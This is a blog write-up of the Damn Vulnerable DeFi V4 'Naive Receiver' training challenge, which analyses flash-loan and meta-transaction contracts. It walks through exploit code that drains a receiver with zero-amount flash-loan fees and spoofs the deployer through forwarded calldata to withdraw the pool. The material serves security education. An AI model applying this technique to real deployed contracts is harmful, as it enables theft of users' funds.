Damn Vulnerable DeFi V4: Naive Receiver
Overview
Hello everyone! Hope you are doing fantastic!
This is Foued SAIDI (0xkujen), senior pentester and a wannabe Web3/Blockhain Security Researcher.
Today I am continuing my Web3/Blockchain series by tackling the second challenge from the Damn Vulnerable DeFi series created by The Red Guild where I will be explaining in depth each challenge, my approach to solving it and my solutions.
Hope you enjoy it and learn something new!
Check the previous Damn Vulnerable DeFi challenge called Unstoppable from this blog post. Enjoy!
āNaive Receiverā challenge

Challenge Description
Thereās a pool with 1000 WETH in balance offering flash loans. It has a fixed fee of 1 WETH. The pool supports meta-transactions by integrating with a permissionless forwarder contract.
A user deployed a sample contract with 10 WETH in balance. Looks like it can execute flash loans of WETH.
All funds are at risk! Rescue all WETH from the user and the pool, and deposit it into the designated recovery account.
Link to the original challenge
Github repo link that contains challenge code and solver
Understanding the contracts
Overview
We have 4 main contracts:
NaiveReceiverPool.sol
This contract is the main pool that will be containing the FlashLoan and pool operations (Withdraw, Deposit,fees, etc.) logic.
NaiveReceiverPool::flashLoan()checks if the utilized token is Wrapped ETH (weth) (which is the ERC20 implementation of ETH):
1 | if (token != address(weth)) revert UnsupportedCurrency(); |
Then it transfers the loan amount from the receiver and deducts that from the totalDeposits available in the pool.
1 | weth.transfer(address(receiver), amount); |
Then the pool will asserts the borrower agrees to the terms of the loan by asserting that the receiver.onFlashLoan returns a CALLBACK_SUCCESS which is a hardcoded keccak256 of ERC3156FlashBorrower.onFlashLoan. This logic is implemented inside the FlashLoanReceiver.sol contract.
NaiveReceiverPool::withdraw()allows any depositor to withdraw their WETH balance and send it to any receiver. It first deducts the amount from the msg sender and from thetotalDeposits:
1 | deposits[_msgSender()] -= amount; |
Then transfers it to a desired receiver:
1 | weth.transfer(receiver, amount); |
NaiveReceiverPool::_msgSender()is an implementation of the Native Meta Transactions EIP-2771 for sending meta transactions through a truster forwarder.
Basically if the msg sender is the desired forwarder of the transaction + themsg.dataon the transaction is longer or equal to 20 bytes, then the the āreal senderā must be recovered from calldata (last 20 bytes), else it will stay as the original msg.sender:
1 | if (msg.sender == trustedForwarder && msg.data.length >= 20) { |
FlashLoanReceiver.sol
Contains the onFlashLoan() method that implements the logic regarding the agreement between the lender and the borrower we mentioned earlier.
How is this even enforced?
- Only the pool can call it, not a malicious or randon contract.
- makes sure the pool address is not null by utilizing
sloadthat loads the 32-byte value stored at thepool.slot(where the pool is stored) and then compares it to thecaller()(which is the pool in this case) usingassembly=> switching directly to EVM. - Returns
0x48f5c3edwhich is the equivalent toerror Unauthorized()by writing it as a 4-byte value into the0x00memory position usingmstore()function. The memory now looks like0x00 āā 48 f5 c3 ed. - Finally reverts with the 4-byte function selector.
- Then it nakes sure the token is
WETH - Later it calculates the amount to be repaid by the borrower by adding the fees.
- Then it executes the action desired by the borrower using the obtained flashLoan
- Then it returns the funds to the pool by approving the pool to spend the amount the amount to be repaid.
- Finally it returns the keccak256 value of
ERC3156FlashBorrower.onFlashLoanwhich asserts the agreement will go on as planned.
1 | assembly { |
BasicForwarder.sol
BasicForwarder::_checkRequest()enforces all necessary security guarantees.
First it ensures request value consistencyif (request.value != msg.value) revert InvalidValue();(ETH mismatch, partial execution), deadline respectif (block.timestamp > request.deadline) revert OldRequest();(replay attacks in the future), that the nonce of the signed request is validif (nonces[request.from] != request.nonce) revert InvalidNonce();(replaying same nonced/signed request).
- Also the target has to trust his forwarder (donāt accept from anyone.)
if (IHasTrustedForwarder(request.target).trustedForwarder() != address(this)) revert InvalidTarget();(no impresonation). - Finally sign the request using
ECDSA. First produce a struct hash usingBasicForwarder::getDataHash()where every field of the request is hashed. Then uses the EIP-712 throughEIP712::_hashTypedData()which will compute the kaccak256 hash of\x19\x01+domainSeparator+structHash.
Why is this even important? => it will bind the signature to the contract, chain and domain/version so it cannot be replayed on another contract, chain or context.
It then recovers the ECDSA signaturer,s,vto get the address that created the signature and finally compares it to the signer address :if (signer != request.from) revert InvalidSigner();
BasicForwarder::execute()is also an implementation of EIP-2771 meta-transaction forwarder which first utilizes theBasicForwarder::_checkRequest()to check the signature of the passed request, increases the noncenonces[request.from]++;to prevent replay attacks, builds the calldata payload which will contain the request data and the senderbytes memory payload = abi.encodePacked(request.data, request.from);, then makes a low level assembly call to forward the call of our request and calculates the remaining gas. It will finally do some gas griefing protection where a call can forward at most63/64of the remaining gas.
Multicall.sol
Multicall::multicall() allows us to perform multiple calls in a single transaction, single signature and single nonce.
It create an empty results array that has the same length of the provided data, loops over the calls and execute a delegate call with the data using the OpenZeppelin Address::functionDelegateCall() to execute the call as if it were a part of this contract (same storage, msg.sender, msg.value). Each data[i] contains the target function selector and itsā respective arguments. And finally returns the results:
1 | function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) { |
Point of Failure
In this amazing challenge, we have two huge issues:
- On the
FlashLoanReceiver::onFlashLoan(), the parameters are organized as follows:
1 | function onFlashLoan(address, address token, uint256 amount, uint256 fee, bytes calldata) |
A huge issue here is that the address of the initiator is not being used/verified.
1 | => Anyone can request flashloans on behalf of the contract AND making the contract pay the fees. Instead of the caller paying the fees. |
Now because the fee is fixed and independent of the loan amount, an attacker can request flash loans with amount = 0 and still drain the receiver through repeated fee payments. This will happen even when the flash loan was forced and economically meaningless.
- On the
NaiveReceiverPool::_msgSender()method, the contract blindly trusts the last 20 bytes of calldata as the original sender whenever the call comes fromtrustedForwarder. There is no verification that the appended 20-byte address is truly the signer of the request.
1 | function _msgSender() internal view override returns (address) { |
This allows an attacker to impresonate accounts and perform a withdraw on their behalf because the _msgSender() function is called on the NaiveReceiverPool::withdraw() method:
1 | function withdraw(uint256 amount, address payable receiver) external { |
Exploitation
Our main goal in this challenge is to drain all WETH from the FlashLoanReceiver. We can do this by abusing the fact that the receiver blindly pays flash loan fees and that _msgSender() can be spoofed via the trusted forwarder.
Exploitation Steps
The FlashLoanReceiver starts with 10 WETH. The pool charges a fixed fee of 1 WETH per flash loan, regardless of the loan amount.
- Prepare multiple flash loan calls:
1 | bytes[] memory data=new bytes[](11); // 11 because the receiver has 10 weth as a start |
- Each flash loan costs 1 WETH fee, even if the amount is 0.
- By repeating this 10 times, the receiver will be forced to pay all 10 WETH it holds.
- Append the withdraw call:
1 | data[10]=abi.encodePacked(abi.encodeWithSelector(pool.withdraw.selector, WETH_IN_POOL+WETH_IN_RECEIVER,payable(recovery)),deployer); |
- The
_msgSender()function in the pool reads the last 20 bytes of calldata (the deployer address). - This will allow us to impersonate the deployer in order to withdraw all
WETHfrom the pool and the receiver to our recovery address (malicious).
- Encode the multicall using
Multicall::multicall():
- Using multicall, we forward all 11 calls in one transaction to make all the fees paid and to make the withdrawal request happen all at the same time.
1 | bytes memory multicall = abi.encodeCall(pool.multicall, data); |
- Create a forwarded request
- We will prepare a meta-transaction using
BasicForwarderwhere thefromis the attacker address
1 | BasicForwarder.Request memory req = BasicForwarder.Request({ |
- Sign the request to make it legit else it will be rejected
1 | bytes32 requestHash=keccak256( |
This is as explained previously for the EIP-712 standard.
- Now finally execute the request
1 | forwarder.execute(req, signature); |
The forwarder validates the signature and performs the multicall that will drain 1 WETH from the receiver 10 times. The final withdraw call moves all remaining WETH to our recovery address and BOOM exploited.
Exploit test case
The full PoC is as follows:
1 | function test_naiveReceiver() public checkSolvedByPlayer { |
The output will be:
1 | $ forge test -vv |
And that way, both our tests pass and the checkSolvedByPlayer() modifier that runs the _isSolved() function goes through. Marking the successful solve of the challenge.
Conclusion
That was it for Naive Receiver challenge from Damn Vulnerable DeFi series.
You can find through this github link the repository that contains my solver and all the future Damn Vulnerable DeFi solutions Inshallah!
See you next time~
- Title: Damn Vulnerable DeFi V4: Naive Receiver
- Author: Foued SAIDI
- Created at : 2025-12-18 16:54:33
- Updated at : 2025-12-19 13:52:52
- Link: https://kujen5.github.io/2025/12/18/Damn-Vulnerable-DeFi-V4-Naive-Receiver/
- License: This work is licensed under CC BY-NC-SA 4.0.